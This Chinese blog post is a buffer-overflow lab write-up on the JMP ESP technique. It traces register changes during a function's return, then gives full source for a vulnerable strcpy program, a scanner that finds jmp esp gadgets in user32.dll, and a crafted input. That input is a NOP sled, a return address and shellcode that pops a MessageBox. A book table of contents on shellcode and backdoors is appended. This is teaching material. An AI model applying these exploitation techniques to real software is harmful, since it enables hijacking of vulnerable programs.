缓冲区溢出(栈溢出)实验 之 JMP ESP

3、缓冲区溢出之JMP ESP

本文属于原创,如有错误请指正。其中引用他人的部分已经标出,如涉及版权问题请联系本人

这里不得不讲一讲JMP ESP的原理了,在实验之前我一直没看懂他是如何试下跳转ESP之后回到栈区执行我们的shellcode的。在实验中你仔细观看会发现随着函数栈的销毁ESP是在变化的,JMP ESP正式利用这种变化,将我们精心准备的shellcode执行。

 

JMP ESP原理(如何在跳转ESP后执行shellcode)

JMP ESP在函数返回返回指令处填入我们在dll中搜索的 jmp esp的源码,在函数退出时将会把返回值处地址填入到EIP(即下一句要执行的指令地址)中,即程序跳到jmp esp处的地址执行该处的指令,此时ESP指向的地址也变为存储函数返回指令+4位置处的地址。

在user32.dll中查找到的 jmp esp地址,messagebox,以及 ExitProcess的值如下图,jmp esp我选用的是第一个地址0x7408c38e。

函数返回时的汇编指令

	return 0;
00411662  xor         eax,eax  
}
00411664  pop         edi  
00411665  pop         esi  
00411666  pop         ebx  
00411667  mov         esp,ebp  
00411669  pop         ebp  
0041166A  ret  

对应汇编指令在看一遍函数返回时的ESP变化

return 0;

//ESP=0019FE10 EBP=0019FE6C

00411662  xor         eax,eax  

//ESP=0019FE10 EBP=0019FE6C

}

00411664  pop         edi  

//ESP=0019FE14 EBP=0019FE6C  pop后ESP加4 即栈顶上移4个字节,栈缩小四个字节

00411665  pop         esi  

//ESP=0019FE18 EBP=0019FE6C 栈顶继续上移4

00411666  pop         ebx  

//ESP=0019FE1C EBP=0019FE6C 栈顶继续上移4

00411667  mov         esp,ebp  

//ESP=0019FE6C EBP=0019FE6C EBP的地址赋值给ESP 此时就需要查看一下内存了

我们可以看出此时栈的大小为0 ,栈内存是更改后的内存 栈顶为0019FE6C 

00411669  pop         ebp  

//ESP=0019FE70 EBP=90909090 我们可以看到ESP现在后移到红框右侧四字节处,即栈顶向下移四字节,儿此时我们在ESP处,该处也是“函数返回时下一条执行指令地址存储位置”不过此时存储着我们设计好的jmp esp处的地址(0x7408c38e)。

0041166A  ret  

//ESP=0019FE74 EBP=90909090 EIP=7408C38E 此时我们看到了EIP读取了该处的地址,意味着下一条指令执行将执行jmp esp,而此时ESP继续+4跳过了存储“函数返回时下一条执行指令地址存储位置”,

 

7408C38E jmp esp

//此时ESP存储的是地址为0019FE74 该处为33 db 53 68即我们构造的shellcode的指令开始地址,如此就能够开始执行我们希望的命令。

对应的内存

对应的汇编指令

其他不明白的地方在百度或博客上基本都讲解清楚了

源码:

#include<iostream>
#include<windows.h>
#include <string.h>
using namespace std;

int overflow(const char* input)
{
	BOOL bFlAG = TRUE;
	int nFlag = 1;
	char buf[8];

	memset(buf, 0, 8);
	printf("Virtual address of 'buf' = Ox%p\n", buf);
	printf("Virtual address of 'nFlag' = Ox%p  NUM:%d \r\n", &nFlag, nFlag);
	strcpy(buf, input);
	printf("Virtual address of 'nFlag' = Ox%p  NUM:%d \r\n", &nFlag, nFlag);
	return 0;
}
void FindJMPESP(char*dll_name)
{
	//仅显示前十个jmpESP 
	int nTens = 0;
	char* handle = (char*)LoadLibraryA(dll_name);//获取dll加载地址
	for (int pos = 0;; pos++)//遍历dll代码空间
	{
		if (handle[pos] == (char)0xff && handle[pos + 1] == (char)0xe4)//寻找0xffe4 = jmp  esp
		{
			if (nTens>10)
			{
				nTens = 0;
				return;
			}
			else
			{
				printf("JMP ESP Address: %x \r\n", (handle + pos));
				nTens++;
			}
			
			
		}
	}
	return;
}

int main()
{

	printf("Virtual address of 'overflow' = Ox%p\n", overflow);
	//加载user32.dll库
	HMODULE hUserModule = LoadLibrary("user32.dll");
	if (NULL == hUserModule)
	{
		printf("动态库加载失败BufferOverflow.cpp 错误码:%d \r\n",GetLastError());
		return 0;
	}
	printf("MessageBox Address %X\r\n", MessageBox);
	printf("ExitProcess Address: %X\r\n", ExitProcess);
	FindJMPESP("user32.dll");
	//MessageBox(NULL, "failwest", "failwest", 0);
	//printf("Virtual address of 'overflow' = Ox%p\n", Fun);
	//注意这里ff后,但其实默认添加了’\0’在最后面
	//char input[] = "\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50\x53\xB8\xB0\xF8\x0E\x74\xFF\xD0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x38\xFE\x19"
	//JMP ESP
	char input[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x8e\xC3\x08\x74"//\x8e\xC3\x08\x74为填充的jmp esp的地址
		"\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50\x53\xB8\xB0\xF8\x0E\x74\xFF\xD0\x53\xB8\xC0\x3B\x99\x74\xFF\xD0"
		//剩下的shellcode的指令
	;//Messagebox函数地址:0x740EF8B0  ExitProcess函数地址: 74993BC0
	//char input[] = "AAAAAAB";//good input, ASCII code of 'A' is 41
											  //char input[] = "AAAAAAA";//good input, ASCII code of 'A' is 41
 	overflow(input);
	system("pause");
	return 0;
}

程序进入函数overflow中

ESP = 0019FE10 EBP = 0019FE6C

红框标出的为ESP EBP以及“函数返回时下一条执行指令地址存储位置”

“strcpy(buf, input)”执行之后标记处的一次为ESP EBP “函数返回时下一条执行指令地址存储位置” “shellcode执行代码部分”

如何设计程序的Shellcode

我们使用的shellcode 执行部分从汇编xor ebx,ebx开始,一直到汇编结束

以下部分来自于《0day安全》—— 3.2 定位shellcode 作者:木木夕T_T

其中,MessageBoxA与ExitProcess函数的入口地址获取方法在2.4节中提到过,不同的是MessageBoxA是user32.dll的导出函数,ExitProcess是kernel32.dll的导出函数。
  把shellcode的代码编译运行,用OllyDbg加载可执行文件,在代码区选中所需代码,右键,选择"Copy",选择"To file",可以将汇编代码对应的机器码提取出来

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  • 4
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Q版缓冲区溢出教程 目录 写在前面 2 目录 4 前言 6 作者简介 6 主要角色简介 6 阅读指南 6 第一章、Windows下堆栈溢出入门 8 1.1 梦,已经展开 8 1.2 啤酒和杯子――缓冲区溢出原理 8 1.3 神秘的Windows系统 10 1.4 ShellCode编写简介 17 1.5 窥豹一斑――本地缓冲区溢出简单利用 21 1.6 小结——摘自小强的日记 28 1.7 首次实战――FoxMail溢出漏洞编写 29 1.8 牛刀小试――Printer溢出漏洞编写 41 1.9 JMP /CALL EBX——另一种溢出利用方式 42 1.10 拾阶而上——IDA/IDQ溢出漏洞编写 55 课后解惑 58 第二章、Windows下ShellCode编写初步 60 2.1 ShellCode是什么? 60 2.2 简单的例子——编写控制台窗口的ShellCode 63 2.3 ShellCode通用性的初步分析 78 2.4 弹出Windows对话框ShellCode的编写 82 2.5 添加用户ShellCode的编写 88 课后解惑 98 第三章、后门的编写和ShellCode的提取 100 3.1 预备知识 101 3.2 后门总体思路 121 3.3 Telnet后门的高级语言实现 125 3.4 生成ShellCode 136 3.5 进一步的探讨 156 3.6 反连后门ShellCode的编写 160 课后解惑 166 第四章 Windows下堆溢出利用编程 168 4.1 堆溢出初探 168 4.2 RtlAllcoateHeap的失误 170 4.3 实例——Message堆溢出漏洞的利用 191 4.4 RtlFreeHeap的失误 197 4.5 堆溢出的其他利用方式 204 4.6 实例——JPEG处理堆溢出漏洞的利用 208 课后解惑 215 第五章 ShellCode变形编码大法 217 5.1 为什么要编码 217 5.2 简单的编码——异或大法 221 5.3 简便的变形——微调法 231 5.4 直接替换法 233 5.5 字符拆分法 239 5.6 内存搜索法 247 5.7 搜索实例——Serv_U漏洞的利用 249 5.8 “计算与你同行”—— Computing & Society 257 课后解惑 258 第六章 ShellCode编写高级技术 260 6.1 通用ShellCode的编写 260 6.2 ShellCode的高效提取技巧 285 6.3 ShellCode的高级功能 294 课后解惑 305 第七章、漏洞的发现、分析和利用 308 7.1 CCProxy 漏洞的分析 308 7.2 黑盒法探测漏洞和Python脚本 319 7.3 白盒法和IDA分析漏洞 333 尾声 347

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值